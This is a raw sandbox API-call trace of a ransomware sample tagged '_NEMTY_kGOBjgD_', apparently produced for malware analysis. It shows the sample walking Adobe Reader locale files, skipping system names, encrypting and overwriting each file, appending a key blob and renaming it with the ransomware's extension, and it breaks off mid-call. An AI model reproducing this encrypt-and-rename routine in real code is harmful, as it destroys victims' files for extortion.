WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.TUR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.TUR", lpUsedDefaultChar=0x0) returned 10 [0184.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.TUR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.TUR", lpUsedDefaultChar=0x0) returned 10 [0184.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.TUR", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.TUR", lpUsedDefaultChar=0x0) returned 10 [0184.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.TUR", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.TUR", lpUsedDefaultChar=0x0) returned 10 [0184.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.848] Sleep (dwMilliseconds=0x5) [0184.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21d4aa70, dwHighDateTime=0x1d561e8)) [0184.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21d4aa70, dwHighDateTime=0x1d561e8)) [0184.858] GetLastError () returned 0x0 [0184.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.858] GetLastError () returned 0x0 [0184.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.858] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.858] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.858] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0184.858] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="82JcKiINNZcToC4d2pQ/qJ5n+f+R1DcOAis36L6F9s4pi6x1QkH2zTX4+jhi90PO\r\npf7VQRXnfNhoVNmUUla9+s8aOZRbdmwZKKtCNsyX4hPrCAZ5N5rmyiFPMRVSSnlM\r\nWeyj7A7DQiHP5rOJFlMnC+q5Dj8OFcSubXiEWZoS6XC1yuqynFziGHYwKZhyYksw\r\nEE3o871x89JVi2kUnqjIRz2wWbMhHvhH1SzddFocpoKkLJQE8OMUaneT6z8yV2qa\r\nD2h27z9zJWrKWe3xLLjO0PfzqhfLeTb/bqLWKEvNfXPUDq9KW5/UtEbYFPMduxxq\r\n6O8knf/vGQ2nfMrjzqC5CQ==\r\n", pcchString=0x653e5dc) returned 1 [0184.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0184.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.859] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Annots.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\annots.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.859] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=479232) returned 1 [0184.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0184.859] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.859] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0184.868] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.868] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0184.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.869] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=479232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x75000 [0184.869] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.870] CloseHandle (hObject=0x2e8) returned 1 [0184.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0184.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.870] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Annots.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\annots.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Annots.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\annots.tur._nemty_kgobjgd_")) returned 1 [0184.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0184.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.871] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820a1b60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.TUR", cAlternateFileName="BRDLAN~1.TUR")) returned 1 [0184.871] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2=".") returned 1 [0184.871] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="..") returned 1 [0184.871] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="...") returned 1 [0184.871] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="windows") returned -1 [0184.871] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="$RECYCLE.BIN") returned 1 [0184.872] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="rsa") returned -1 [0184.872] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="NTDETECT.COM") returned -1 [0184.872] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="ntldr") returned -1 [0184.872] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="MSDOS.SYS") returned -1 [0184.872] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="IO.SYS") returned -1 [0184.872] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="boot.ini") returned 1 [0184.872] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="boot.ini") returned 1 [0184.872] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0184.872] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="ntuser.dat") returned -1 [0184.872] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="desktop.ini") returned -1 [0184.872] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="CONFIG.SYS") returned -1 [0184.872] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="RECYCLER") returned -1 [0184.872] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="BOOTSECT.BAK") returned 1 [0184.872] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="bootmgr") returned 1 [0184.872] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="programdata") returned -1 [0184.872] lstrcmpiW (lpString1="BRdlang32.TUR", lpString2="appdata") returned 1 [0184.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.TUR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.TUR", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.TUR", lpUsedDefaultChar=0x0) returned 13 [0184.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.TUR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.TUR", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.TUR", lpUsedDefaultChar=0x0) returned 13 [0184.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.TUR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.TUR", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.TUR", lpUsedDefaultChar=0x0) returned 13 [0184.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.TUR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.TUR", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.TUR", lpUsedDefaultChar=0x0) returned 13 [0184.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.873] Sleep (dwMilliseconds=0x5) [0184.873] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21d70bd0, dwHighDateTime=0x1d561e8)) [0184.873] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21d70bd0, dwHighDateTime=0x1d561e8)) [0184.873] GetLastError () returned 0x0 [0184.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.873] GetLastError () returned 0x0 [0184.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.874] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.874] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.874] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.874] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="309fxPBr11PPlCt1/yVvkzp/dYvdjCU02dmB19bqsE0fLpZSWjGaW/hOQHrJHuRP\r\nizZS4wAvQrv9iiRzKtTX/8a2mFLwbZnjOZo2EhsSfLhfyf7GuRI8jseg8677Mq1s\r\nNu7eJG+K6roa6egtsC0LHPLQNoeIP02YCBbQh3tTeTb4UXvFGgoZjJMDsUelMpfB\r\nvWwE+DIZ6U5H3oqi2LFbsFZEkMC4HgPgHJdgInvZI6Y6BdU+jTFiSVYfEx+dScdt\r\nYlYtyaJ9uPqdCHGTeL1t7dx/Th0TycslE3em7OWSNSyO82AlMcVThZS6/G/rJuB6\r\nybfyDM2qlUlrtg6VrBV4Bg==\r\n", pcchString=0x653e5dc) returned 1 [0184.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\BRdlang32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\brdlang32.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.874] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=13312) returned 1 [0184.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3400) returned 0x6352c48 [0184.874] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.874] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3400, lpOverlapped=0x0) returned 1 [0184.877] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.877] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3400, lpOverlapped=0x0) returned 1 [0184.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.877] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=13312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3400 [0184.877] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.877] CloseHandle (hObject=0x2e8) returned 1 [0184.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.878] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\BRdlang32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\brdlang32.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\BRdlang32.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\brdlang32.tur._nemty_kgobjgd_")) returned 1 [0184.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.878] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.TUR", cAlternateFileName="")) returned 1 [0184.878] lstrcmpiW (lpString1="Checkers.TUR", lpString2=".") returned 1 [0184.878] lstrcmpiW (lpString1="Checkers.TUR", lpString2="..") returned 1 [0184.878] lstrcmpiW (lpString1="Checkers.TUR", lpString2="...") returned 1 [0184.878] lstrcmpiW (lpString1="Checkers.TUR", lpString2="windows") returned -1 [0184.878] lstrcmpiW (lpString1="Checkers.TUR", lpString2="$RECYCLE.BIN") returned 1 [0184.878] lstrcmpiW (lpString1="Checkers.TUR", lpString2="rsa") returned -1 [0184.879] lstrcmpiW (lpString1="Checkers.TUR", lpString2="NTDETECT.COM") returned -1 [0184.879] lstrcmpiW (lpString1="Checkers.TUR", lpString2="ntldr") returned -1 [0184.879] lstrcmpiW (lpString1="Checkers.TUR", lpString2="MSDOS.SYS") returned -1 [0184.879] lstrcmpiW 